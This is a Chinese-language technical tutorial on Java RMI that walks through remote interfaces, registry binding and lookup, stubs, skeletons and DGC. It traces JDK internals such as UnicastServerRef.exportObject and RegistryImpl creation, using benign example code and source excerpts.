RMI(Remote Method Invocation) RPC (Remote Procedure Call,远程过程调用)一种允许不同计算机上的程序之间通过网络进行通信并调用彼此的方法的技术。通过RPC,程序可以像调用本地函数一样调用远程的函数,隐藏了通信和网络的复杂性,使得分布式应用程序的开发变得更加简单。
RPC 的核心思想是:在分布式系统中,客户端通过调用远程服务器上的方法,获取远程服务的结果,而无需关注底层的网络通信和序列化等细节。RPC 框架负责将函数调用转换为网络请求,并处理请求的序列化、传输、反序列化等过程。
sequenceDiagram
participant Client
participant Client_Stub
participant Server_Stub
participant Server
Client->>Client_Stub: 1. 客户端调用
activate Client
activate Client_Stub
Client_Stub->>Client_Stub: 2. 序列化
Client_Stub->>Server_Stub: 3. 发送消息
activate Server_Stub
Server_Stub->>Server_Stub: 4. 反序列化
Server_Stub->>Server: 5. 调用本地服务
activate Server
Server->>Server: 6. 服务处理
Server-->>Server_Stub: 7. 返回处理结果
deactivate Server
Server_Stub->>Server_Stub: 8. 将结果序列化
Server_Stub-->>Client_Stub: 9. 返回消息
deactivate Server_Stub
Client_Stub->>Client_Stub: 10. 反序列化
Client_Stub-->>Client: 11. 返回调用结果
deactivate Client_Stub
deactivate Client
Java RMI(远程方法调用)是 Java 平台提供的一种机制,它允许 Java 程序在不同的 JVM(Java虚拟机)上进行通信,并能够像调用本地对象一样调用远程对象的方法。RMI 是 Java 中分布式应用的基础技术之一,它封装了网络通信、序列化等复杂的底层实现,允许开发者专注于应用逻辑的实现。
Java RMI 允许客户端通过存根(Stub)对象,调用在远程 JVM 中的真实对象的方法。RMI 不仅支持方法调用的远程执行 ,还支持在不同机器之间传输对象 。
RMI的主要组件 远程接口(Remote Interface) 远程接口定义了可以在远程调用中使用的方法,客户端和服务端都需定义用于远程调用的接口。远程接口必须满足下面两个要求:
远程接口需要继承自 java.rmi.Remote
。
远程接口的每个方法必须声明抛出 java.rmi.RemoteException
异常。
下面是一个简单的远程接口示例:
1 2 3 4 5 6 7 import java.rmi.Remote;import java.rmi.RemoteException;public interface Hello extends Remote { String sayHello (Object s) throws RemoteException; String sayGoodBye () throws RemoteException; }
远程对象实现类(Remote Object Implementation) 服务端的远程对象实现类需要实现远程接口,且需要继承 java.rmi.server.UnicastRemoteObject
类 。UnicastRemoteObject
类提供了将远程对象注册到 RMI 注册中心的方法,方便自动将这个远程对象导出供客户端调用。下面是一个简单的远程对象实现类示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RemoteHello extends UnicastRemoteObject implements Hello { protected RemoteHello () throws RemoteException { } @Override public String sayHello (Object s) throws RemoteException { System.out.println("sayHello Called" ); return "Hello " + s; } @Override public String sayGoodBye () throws RemoteException { System.out.println("sayGoodbye Called" ); return "Bye~" ; } }
当然远程对象实现类也可以不继承 UnicastRemoteObject
,但需要手动调用 UnicastRemoteObject#exportObject
来导出该远程对象,使其成为可被客户端调用的远程对象。导出对象时可以指定监听端口来接收 incoming calls
,默认为随机端口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RemoteHello implements Hello { public RemoteHello () throws RemoteException { UnicastRemoteObject.exportObject(this , 1099 ); } @Override public String sayHello (Object name) throws RemoteException { System.out.println("sayHello Called" ); return "Hello, " + name; } @Override public String sayGoodBye () throws RemoteException { System.out.println("sayGoodBye Called" ); return "Bye~" ; } }
存根(Stub)和骨架(Skeleton) 为屏蔽网络通信的复杂性,RMI引入两个概念,客户端存根(Stub) 和服务端骨架(Skeleton) 。
存根(Stub) : 存根是客户端访问远程对象的代理。当客户端调用远程方法时,存根将方法调用封装并通过网络发送到远程服务器。
骨架(Skeleton) : 骨架是服务器端的组件,用于接收客户端请求,并将请求传递给真实的远程对象执行。在JDK 5.0之后,骨架不再被需要,因为JDK使用动态代理来处理远程调用。
RMI 注册中心(RMI Registry) RMI 注册中心用于管理和查找远程对象,它监听一个端口(默认是 1099)并提供远程对象查找服务。
远程对象 可以通过注册中心进行查找 和绑定 。
客户端 通过 RMI 注册中心来查找远程对象 。
启动 RMI 注册中心 RMI 注册中心主要有两种启动方式:
通过 rmiregistry
命令启动 RMI 注册中心是传统的启动方法,你需要在终端或命令行中运行 rmiregistry
命令手动启动一个独立的 RMI 注册中心进程,它会监听一个端口(默认是 1099),并等待客户端进行连接和查找远程对象。
默认情况下,rmiregistry
会监听端口 1099。如果你希望 RMI 注册中心监听一个不同的端口,可以指定端口号,例如:
需要确保在 启动服务端程序之前 启动 RMI 注册中心。因为服务端会将远程对象注册到注册中心中,注册中心必须在此之前启动。
启动 rmiregistry
后,它会在终端持续运行并监听指定端口(默认是 1099)。在这个终端窗口中,你看不到任何提示,直到你停止它。
在使用 rmiregistry
时,通常建议将它放在单独的终端窗口或后台运行,以便它能够持续监听客户端的请求。
另一种启动 RMI 注册中心的方式是通过 LocateRegistry.createRegistry()
启动 RMI 注册中心。这种方式通过 Java 代码在程序内部启动 RMI 注册中心。LocateRegistry.createRegistry()
方法可以在代码中指定端口号,并启动一个嵌入式的 RMI 注册中心。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.rmi.registry.LocateRegistry;public class RMIServer { public static void main (String[] args) { try { LocateRegistry.createRegistry(1099 ); System.out.println("RMI registry is running." ); } catch (Exception e) { e.printStackTrace(); } } }
LocateRegistry.createRegistry()
启动方式主要应用于开发和测试环境中。我们通常会直接把 RMI 启动部分放到服务端中,而不依赖外部的 rmiregistry
命令,这样可以简化调试和部署过程。
服务端注册远程对象 远程对象需要在服务器端注册到 RMI 注册中心中,这样客户端才能通过注册中心查找到远程对象并进行方法调用。
java.rmi.Naming
类提供了与 RMI 注册中心的交互功能。这个类提供了几个静态方法,用来在 RMI 注册中心中 查找 、绑定 、更新 或 解绑 远程对象:
查找远程对象 : lookup
绑定远程对象 : bind
(对象已经存在会抛出异常)和 rebind
(会覆盖已有对象)
解除绑定远程对象 : unbind
列出远程对象 : list
在服务端代码中,远程对象注册通常是通过 Naming.rebind()
或 Naming.bind()
来实现的。这些方法将远程对象与一个名字绑定,从而让客户端可以使用该名字进行查找。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.rmi.Naming;import java.rmi.registry.LocateRegistry;public class RMIServer { public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); RemoteHello hello = new RemoteHello (); Naming.bind("rmi://127.0.0.1:1099/hello" , hello); System.out.println("RemoteHello object is registered." ); } }
在上面的示例中,Naming.bind("rmi://127.0.0.1:1099/hello", hello)
将 hello
远程对象注册到 RMI 注册中心中,绑定的名字为 "hello"
。客户端将通过这个名字来查找并调用远程对象的方法。
除此之外,RMI 还提供了另一种绑定方式。因为通常我们会把注册中心和服务端放在一起,因此 LocateRegistry.createRegistry
创建的注册中心对象 Registry
(实际是 sun.rmi.registry.RegistryImpl
实现的 Registry
接口)同样有一个 bind
方法用于注册远程对象。
1 2 3 Registry registry = LocateRegistry.createRegistry(1099 );RemoteHello hello = new RemoteHello ();registry.bind("hello" , hello);
由于这个方法直接指定了注册中心,因此 bind
的第一个参数是要与远程对象绑定的名称而不是完整的RMI URL(如 rmi://host:port/name
)。
客户端查找远程对象 客户端通过 RMI 注册中心查找远程对象,方法是使用 Naming.lookup()
。这时,客户端将通过给定的名字从 RMI 注册中心中查找远程对象,并通过返回的存根(stub)对象调用远程方法。
1 2 3 4 5 6 7 8 9 10 11 import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1" , 1099 ); Hello hello = (Hello) registry.lookup("hello" ); System.out.println(hello.sayHello("sky123" )); System.out.println(hello.sayGoodBye()); } }
RMI 工作流程 RMI 的工作流程大致如下图所示:
RMI 底层通讯采用了 Stub (运行在客户端) 和 Skeleton (运行在服务端) 机制,RMI 调用远程方法的大致如下:
sequenceDiagram
autonumber
%% ===================== 参与者分组:谁属于谁 =====================
box "Client JVM" #fff5f5
participant CApp as 客户端应用
participant RStub_C as Registry Stub(客户端, 本地创建)
participant CProxy as 服务对象 Stub/动态代理(Proxy)
participant CRef as RemoteRef(UnicastRef)
participant CDGC as DGC 客户端(续约器)
end
box "Registry JVM" #f5fff5
participant RTCP as TCPTransport(JRMP)
participant RObjT as ObjectTable(Registry)
participant RTgt as Target(ObjID=0)
participant RDisp as UnicastServerRef(Registry)
participant RSkel as RegistryImpl_Skel(legacy)
participant RImpl as RegistryImpl
participant RMap as bindings(name→stub)
end
box "Server JVM" #f5f5ff
participant SvcApp as 服务端应用
participant RStub_S as Registry Stub(服务端, 本地创建)
participant STCP as TCPTransport(JRMP)
participant SObjT as ObjectTable(Server)
participant STgt as Target(ObjID=随机)
participant SDisp as UnicastServerRef(服务对象, Dispatcher)
participant SImpl as 远程对象实现(impl)
participant SStub as 服务对象 Stub/动态代理(可序列化)
participant SDGC as DGCImpl(ObjID=2)
end
%% ===================== ① 服务对象导出(export) =====================
rect rgb(235,240,255)
Note over SvcApp,SObjT: ① 导出远程对象(UnicastRemoteObject.exportObject)→ 生成 Stub/Proxy、方法哈希映射(hash→Method)、Target,监听端口
SvcApp->>SDisp: exportObject(SImpl)
Note right of SDisp: Util.createProxy(...) → 动态代理 InvocationHandler=RemoteObjectInvocationHandler(ref=UnicastRef) 建立 hashToMethod_Map
SDisp->>STCP: ref.exportObject(Target) → listen()
SDisp->>SObjT: ObjectTable.putTarget(Target{impl, disp, stub, id})
Note right of STgt: Target.stub 是返回给客户端的远程引用(Stub/Proxy) Skeleton(若存在)仅服务端内部分发使用
end
%% ===================== ② Registry 创建并导出 =====================
rect rgb(235,255,235)
Note over RImpl,RObjT: ② LocateRegistry.createRegistry(port=1099) ObjID=0;加载 RegistryImpl_Stub 与 RegistryImpl_Skel(legacy)
RImpl-->>RDisp: 持有 UnicastServerRef(ref=LiveRef{ObjID=0,port=1099})
RDisp->>RTCP: exportObject(this)
RDisp->>RObjT: ObjectTable.putTarget(Target{impl=RImpl, disp=RDisp, stub=RegistryImpl_Stub, id=0})
end
%% ===================== ③ 服务端将服务注册到 Registry(bind) =====================
rect rgb(245,245,255)
Note over SvcApp,RImpl: ③ 服务注册(bind):把 name→SStub(服务对象远程引用) 放进 Registry.bindings
SvcApp->>RStub_S: 获取 Registry Stub(LocateRegistry.getRegistry)
RStub_S->>RTCP: JRMP newCall {ObjID=0, opnum=0(bind), interfaceHash} writeObject(name), writeObject(SStub)
RTCP->>RObjT: 按 ObjID=0 查 Target
RObjT-->>RTgt: 命中
RTCP->>RDisp: dispatch
alt Registry 使用 Skeleton (legacy)
RDisp->>RSkel: oldDispatch(opnum=0, hash)
RSkel->>RImpl: bind(name, stub)
else 现代(无 Skel)
RDisp->>RImpl: bind(name, stub)
end
RImpl->>RMap: bindings.put(name, stub)
RImpl-->>RStub_S: Return(ok)
end
%% ===================== ④ 客户端查找(lookup)并获取服务 Stub =====================
rect rgb(235,255,245)
Note over CApp,RImpl: ④ 服务发现/查找:客户端通过 Registry 获取服务的 Stub
CApp->>RStub_C: 获取 Registry Stub(LocateRegistry.getRegistry(host,1099))
RStub_C->>RTCP: JRMP newCall {ObjID=0, opnum=2(lookup)} writeObject(name)
RTCP->>RDisp: dispatch
alt Skeleton 路径
RDisp->>RSkel: oldDispatch(opnum=2)
RSkel->>RImpl: lookup(name)
else 现代路径
RDisp->>RImpl: lookup(name)
end
RImpl->>RMap: bindings.get(name)
RMap-->>RImpl: 返回 SStub(服务对象远程引用)
RImpl-->>RStub_C: 返回 stub(序列化)
RStub_C-->>CApp: 反序列化得到 CProxy(Stub/Proxy)
Note right of CProxy: 代理的 InvocationHandler=RemoteObjectInvocationHandler 内部持有 CRef(UnicastRef: LiveRef{host,port,objID})
end
%% ===================== ⑤ 客户端调用远程方法(普通远程对象主路径) =====================
rect rgb(255,240,240)
Note over CApp,SImpl: ⑤ 远程方法调用:opnum=-1 + methodHash(普通对象),参数与返回值走序列化流
CApp->>CProxy: foo(arg1, arg2)
CProxy->>CRef: invoke(method,args,getMethodHash(method))
CRef->>STCP: JRMP 调用 {ObjID=<服务对象id>, opnum=-1, methodHash, args(serialized)}
STCP->>SObjT: 按 ObjID 查 Target
SObjT-->>STgt: 命中
STCP->>SDisp: 分发
alt 现代:无 Skeleton(JDK5+ 常见)
SDisp->>SDisp: 用 methodHash 在 hashToMethod_Map 定位 Method
SDisp->>SImpl: 反序列化参数 → Method.invoke(...)
SImpl-->>SDisp: 返回 结果 或 抛出异常
else Legacy:有 Skeleton(极少见)
SDisp->>SImpl: Skel.dispatch(opnum) → 调用实现
end
SDisp-->>STCP: 写回 {Return | ExceptionalReturn}(序列化)
STCP-->>CRef: 响应
alt 正常返回
CRef-->>CProxy: 反序列化返回值
CProxy-->>CApp: 返回结果
else 异常返回
CRef-->>CProxy: 反序列化异常对象
CProxy-->>CApp: 抛出同类型异常(或 RemoteException 等包装)
end
end
%% ===================== ⑥ DGC:分布式 GC(租约) =====================
rect rgb(240,255,255)
Note over SDGC,SObjT: ⑥ DGC:管理远程引用生命周期(ObjID=2;默认租约≈10 min)
Note right of SDGC: DGC 在类初始化时以单例形式加入 ObjectTable 导出 {stub=DGCImpl_Stub, skel=DGCImpl_Skel(legacy)}
CProxy->>CDGC: (运行时跟踪可达性,注册引用)
CDGC->>SDGC: dirty({ObjID...}, seq, Lease{vmid, duration})
SDGC-->>CDGC: leaseGranted(授予/调整时长)
loop 续约直到本地不可达或进程退出
CDGC->>SDGC: dirty(...)
SDGC-->>CDGC: leaseGranted
end
opt 本地不再持有/对象被本地GC
CDGC->>SDGC: clean({ObjID...}, seq, vmid, strong)
SDGC-->>CDGC: ack
end
end
%% ===================== 术语速记 =====================
Note over CApp,SImpl: 术语:ObjID(对象标识;Registry=0, DGC=2, 普通=随机) opnum: 0=bind, 2=lookup;普通对象调用用 opnum=-1 + methodHash 序列化方向:args/return/exception 走 Object{Output|Input}Stream
服务端创建远程对象(Object) ,并准备好提供远程服务。
如果是普通的对象(继承于 UnicastRemoteObject
):
创建动态代理类,处理器为 RemoteObjectInvocationHandler
。
因为要通过方法哈希查找对应方法,因此会将方法哈希到方法的映射存放在哈希表 hashToMethod_Map
中。
如果是注册中心(RegistryImpl
),则创建 RegistryImpl_Stub
和 RegistryImpl_Skel
。
如果是 DGC(DGCImpl
),则创建 DGCImpl_Stub
和 DGCImpl_Skel
。
DGC 是 Java RMI 的 Distributed Garbage Collector(分布式垃圾回收器) 。它负责在服务端 跟踪每个远程对象是否仍被哪些客户端 JVM 持有,从而在无人引用时允许服务端回收/卸载该远程对象。
远程对象最后会封装成 Target
对象用注册到 ObjectTable
中,其中包括:
Remote impl
:远程对象本体。
Dispatcher disp
:分发器,是导出对象的 UnicastServerRef
用于处理远程调用请求。对于注册中心和 DGC,UnicastServerRef
会包含 Skel。
Remote stub
:创建的远程对象存根。
对于普通远程对象则是远程对象的动态代理。
对于注册中心和 DGC 则是对应的 Skel 对象。
ObjID id
:对象 Id。
对于普通远程对象由于没有指定对象 Id,因此在初始化时设为随机值。
对于注册中心则是 0。
对于 DGC 则是 2。
服务端将远程对象注册到 RMI Registry 中 ,使客户端可以通过名称查找到远程对象。
服务端通过调用 RegistryImpl_Stub#bind
方法远程调用注册中心的 bind
方法,将需要注册的类的名称(如果是 RMI URL 则先获到对应的注册中心然后再传递注册的类的名称)和注册的类的动态代理类(Stub)序列化后传递给注册中心。这本质上是对注册中心的 RegistryImpl
的一次 RMI 远程调用。为了避免先有鸡先有蛋的问题,RegistryImpl_Stub
是在调用 LocateRegistry#getRegistry
的时候本地创建的。
注册中心的 TCPTransport#handleMessages
在接收到远程调用后根据对象 Id 在 ObjectTable
找到对应的 Target
对象然后调用其 Target.disp.dispatch
方法进行分发。
对于非普通远程对象会被分发到 oldDispatch
方法,随即会调用 RegistryImpl_Skel#dispatch
根据 opnum
执行对应的处理逻辑,这里应该执行 bind
分支。
在 bind
分支中 RegistryImpl_Skel
会将远程对象名称到远程对象的映射存放到哈希表 bindings
中。
客户端通过 RMI Registry 查找注册的远程对象 。
客户端通过 RegistryImpl_Skel#find
方法对注册中心进行 RMI 远程调用,参数为要获取的远程对象名称。
RMI Registry 返回远程对象的 Stub 给客户端 ,客户端通过该 Stub 间接与服务端交互。
注册中心经历同样的过程,最终调用到 RegistryImpl_Skel#dispatch
的 find
分支。
在 find
分支中 RegistryImpl_Skel
会根据远程对象的名称在哈希表 bindings
中查询到对应的存根类序列化返回。
客户端反序列化结果得到远程对象的存根类。
客户端调用 Stub 上的远程方法 ,Stub 会将调用请求封装并发送至服务端。
因为这里调用的是普通远程对象的方法,而普通的远程对象的 Stub 是动态代理,因此会被转发到动态代理的 invoke
方法。
Stub 和 Skeleton 之间建立通信通道并发送远程调用请求 。
首先建立连接,并且发送调用信息,主要是远程对象 Id,要调用的方法的哈希(因此是普通对象,不采用方法 Id),
如果远程调用有参数则同样需要参数序列化后发送给 Skeleton。
Skeleton 接收到 Stub 发来的请求后,代理调用真正的远程对象方法 。
这里同样是 TCPTransport#handleMessages
在接收到远程调用后根据对象 Id 在 ObjectTable
找到对应的 Target
对象然后调用其 Target.disp.dispatch
方法进行分发。
由于是调用普通对象的方法,因此会直接根据方法哈希在哈希表 bindings
中找到要调用的远程对象的方法,而不是不是调用 oldDispatch
方法来执行对应的处理分支。
如果有参数则对参数进行反序列化。
反射调用远程对象的方法。
方法执行完毕后,Skeleton 将执行结果返回 。
Skeleton 将结果通过通信通道发送回 Stub 。
远程对象的方法如果有返回值,则将返回结果序列化后发回 Stub。
如果出现异常将异常结果序列化后发回 Stub。
Stub 接收到结果后,返回给客户端用户程序 ,远程调用结束。
Stub 将远程返回的结果反序列化后返回给用户程序。
如果返回的远程调用状态为异常则将异常结果反序列化后抛出。
以上过程的细节如下图所示,具体代码分析见下文。
服务注册 远程对象创建 通常我们定义的远程对象会继承于 java.rmi.server.UnicastRemoteObject
:
1 2 3 4 5 6 7 8 9 import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RemoteHello extends UnicastRemoteObject implements Hello { protected RemoteHello () throws RemoteException { } }
因此创建远程对象的时候会调用父类 UnicastRemoteObject
的构造函数。关于 UnicastRemoteObject
的构造函数的调用有如下调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 protected UnicastRemoteObject () throws RemoteException { this (0 ); } protected UnicastRemoteObject (int port) throws RemoteException { this .port = port; exportObject((Remote) this , port); } public static Remote exportObject (Remote obj, int port) throws RemoteException { return exportObject(obj, new UnicastServerRef (port)); } private static Remote exportObject (Remote obj, UnicastServerRef sref) throws RemoteException { if (obj instanceof UnicastRemoteObject) { ((UnicastRemoteObject) obj).ref = sref; } return sref.exportObject(obj, null , false ); }
UnicastRemoteObject
构造函数的调用过程为:
UnicastRemoteObject()
:使用匿名端口(端口为 0,系统会自动选择一个可用端口)创建并导出一个 UnicastRemoteObject
对象。
UnicastRemoteObject(int port)
:使用 UnicastRemoteObject
对象本身和指定的端口号创建并导出一个 UnicastRemoteObject
对象。
exportObject(Remote obj, int port)
:根据传入的端口号创建一个 UnicastServerRef
对象(存在多层封装,与网络连接有关)用于将远程对象导出到指定的服务器引用。
exportObject(Remote obj, UnicastServerRef sref)
:检查传入的 obj
是否是 UnicastRemoteObject
的实例。如果是,设置UnicastRemoteObject
对象的 ref
属性为指定的 UnicastServerRef
。UnicastServerRef
是远程对象导出时所需的服务器引用,负责处理网络请求和数据传输。
UnicastRemoteObject
构造函数最终会调用到 UnicastServerRef
的 exportObject(Remote impl, Object data, boolean permanent)
方法创建服务器存根(Stub
),该函数逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 public Remote exportObject (Remote impl, Object data, boolean permanent) throws RemoteException { Class<?> implClass = impl.getClass(); Remote stub; try { stub = Util.createProxy(implClass, getClientRef(), forceStubUse); } catch (IllegalArgumentException e) { throw new ExportException ( "remote object implements illegal remote interface" , e); } if (stub instanceof RemoteStub) { setSkeleton(impl); } Target target = new Target (impl, this , stub, ref.getObjID(), permanent); ref.exportObject(target); hashToMethod_Map = hashToMethod_Maps.get(implClass); return stub; }
服务器存根是通过 sun.rmi.server.Util#createProxy()
创建的代理类,创建时需要以下几个参数:
implClass
:远程对象的实现类,这里也就是 RemoteHello.class
。
getClientRef()
:实际上就是将 UnicastServerRef
的 LiveRef
属性封装成一个 UnicastRef
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 public class UnicastServerRef extends UnicastRef implements ServerRef , Dispatcher { public UnicastServerRef (int port) { super (new LiveRef (port)); this .filter = null ; } public UnicastServerRef (LiveRef liveRef) { super (liveRef); } protected RemoteRef getClientRef () { return new UnicastRef (ref); } } public class UnicastRef implements RemoteRef { protected LiveRef ref; public UnicastRef (LiveRef liveRef) { this .ref = liveRef; } }
forceStubUse
:UnicastServerRef
未显式初始化该成员,因此默认为 false
。
在 sun.rmi.server.Util#createProxy()
函数中,由于 stubClassExists
返回 false
,因此不走 createStub
逻辑而是为远程对象 RemoteHello
创建动态代理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 public static Remote createProxy (Class<?> implClass, RemoteRef clientRef, boolean forceStubUse) throws StubNotFoundException { Class<?> remoteClass; try { remoteClass = getRemoteClass(implClass); } catch (ClassNotFoundException ex) { throw new StubNotFoundException ( "object does not implement a remote interface: " + implClass.getName()); } if (forceStubUse || !(ignoreStubClasses || !stubClassExists(remoteClass))) { return createStub(remoteClass, clientRef); } final ClassLoader loader = implClass.getClassLoader(); final Class<?>[] interfaces = getRemoteInterfaces(implClass); final InvocationHandler handler = new RemoteObjectInvocationHandler (clientRef); try { return AccessController.doPrivileged(new PrivilegedAction <Remote>() { public Remote run () { return (Remote) Proxy.newProxyInstance(loader, interfaces, handler); } }); } catch (IllegalArgumentException e) { throw new StubNotFoundException ("unable to create proxy" , e); } }
其中 InvocationHandler
是 RemoteObjectInvocationHandler
对象,并且参数传入前面 getClientRef
创建的 UnicastRef
对象并保存到 RemoteRef
成员。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 public class RemoteObjectInvocationHandler extends RemoteObject implements java .lang.reflect.InvocationHandler { public RemoteObjectInvocationHandler (RemoteRef ref) { super (ref); if (ref == null ) { throw new NullPointerException (); } } } public abstract class RemoteObject implements java .rmi.Remote, java.io.Serializable { protected RemoteRef ref; protected RemoteObject (RemoteRef newref) { this .ref = newref; } }
创建完动态代理后 UnicastServerRef#exportObject
函数又有如下过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if (stub instanceof RemoteStub) { setSkeleton(impl); } Target target = new Target (impl, this , stub, ref.getObjID(), permanent); ref.exportObject(target); hashToMethod_Map = hashToMethod_Maps.get(implClass); return stub;
由于创建的存根是远程对象的代理类而不是 RemoteStub
的示例,因此不调用 setSkeleton
函数。
创建了一个 sun.rmi.transport.Target
对象用来保存远程对象的信息。
通过 UnicastServerRef#exportObject
方法将 target
对象导出。
更新 hashToMethod_Map
。这里 hashToMethod_Map
存储的是方法哈希 和方法 的对应关系,后面远程调用是根据方法哈希找到方法的。
返回存根,即远程对象的动态代理。
其中 sun.rmi.transport.Target
的构造函数如下,这里要注意初始化的成员变量及其含义,后面会用到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public Target (Remote impl, Dispatcher disp, Remote stub, ObjID id, boolean permanent) { this .disp = disp; this .stub = stub; this .id = id; }
另外 UnicastServerRef#exportObject
有如下调用链:
1 2 3 UnicastServerRef#exportObject TCPEndpoint#exportObject TCPTransport#exportObject
其中 TCPTransport#exportObject
函数代码逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public void exportObject (Target target) throws RemoteException { synchronized (this ) { listen(); exportCount++; } boolean ok = false ; try { super .exportObject(target); ok = true ; } finally { if (!ok) { synchronized (this ) { decrementExportCount(); } } } }
该函数首先调用 listen()
函数为 stub
开启随机端口,之后调用 Transport#exportObject
将 target
注册到 ObjectTable
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 public void exportObject (Target target) throws RemoteException { target.setExportedTransport(this ); ObjectTable.putTarget(target); } static void putTarget (Target target) throws ExportException { ObjectEndpoint oe = target.getObjectEndpoint(); WeakRef weakImpl = target.getWeakImpl(); if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) { DGCImpl.dgcLog.log(Log.VERBOSE, "add object " + oe); } synchronized (tableLock) { if (target.getImpl() != null ) { if (objTable.containsKey(oe)) { throw new ExportException ("internal error: ObjID already in use" ); } else if (implTable.containsKey(weakImpl)) { throw new ExportException ("object already exported" ); } objTable.put(oe, target); implTable.put(weakImpl, target); if (!target.isPermanent()) { incrementKeepAliveCount(); } } } }
从最 putTarget
的实现可以看出,target
是被放入 objTable
和 implTable
中。从键 oe
、weakImpl
可以看出,ObjectTable
提供 ObjectEndpoint
和 Remote
实例两种方式来查找 Target
。
远程对象创建过程可以总结为下图所示:
远程对象继承 UnicastRemoteObject
,exportObject
用于将这个对象导出,每个远程对象都有对应的远程引用(UnicastServerRef
)。
对象导出是指,创建远程对象的动态代理,并将对象的方法和方法哈希存储到远程引用的 hashToMethod_Map
里,后面客户端通过传递方法哈希来找到对应的方法。同时开启一个 socket
监听到来的请求。远程对象、动态代理和对象 id
被封装为 Target
,target
会被存储到 TCPTransport
的 objTables
里,后面客户端通过传递对象 id
可获取到对应 target
。
动态代理 Stub
中含有这个远程对象的联系方式(LiveRef
,包括主机、端口、对象id
)。
注册中心创建 在代码中,我们通常使用 java.rmi.registry.LocateRegistry#createRegistry
来创建注册中心:
1 LocateRegistry.createRegistry(1099 );
createRegistry
方法实际创建了一个 RegistryImpl
对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static Registry createRegistry (int port) throws RemoteException { return new RegistryImpl (port); }
RegistryImpl
的构造方法首先创建 LiveRef
对象,然后创建 UnicastServerRef
对象,最后调用 setup
进行配置。这里 LiveRef
传入的 id
为 0。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public static final int REGISTRY_ID = 0 ;private static ObjID id = new ObjID (ObjID.REGISTRY_ID);public RegistryImpl (int port) throws RemoteException { if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null ) { try { AccessController.doPrivileged(new PrivilegedExceptionAction <Void>() { public Void run () throws RemoteException { LiveRef lref = new LiveRef (id, port); setup(new UnicastServerRef (lref, RegistryImpl::registryFilter)); return null ; } }, null , new SocketPermission ("localhost:" + port, "listen,accept" )); } catch (PrivilegedActionException pae) { throw (RemoteException) pae.getException(); } } else { LiveRef lref = new LiveRef (id, port); setup(new UnicastServerRef (lref, RegistryImpl::registryFilter)); } }
在 setup
方法中,依旧是使用 UnicastServerRef
的 exportObject
方法导出对象,只不过这次 export
的是 RegistryImpl
这个对象(之前是远程对象的动态代理对象 UnicastRemoteObject
)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void setup (UnicastServerRef uref) throws RemoteException { this .ref = uref; uref.exportObject(this , null , true ); }
在执行 exportObject
时,内部会调用 createProxy
选择代理实现;由于 stubClassExists
检测到待导出的 RegistryImpl
存在预生成存根 sun.rmi.registry.RegistryImpl_Stub
,因此走 createStub
路径,返回该存根,而不是为 RegistryImpl
生成 JDK 动态代理。
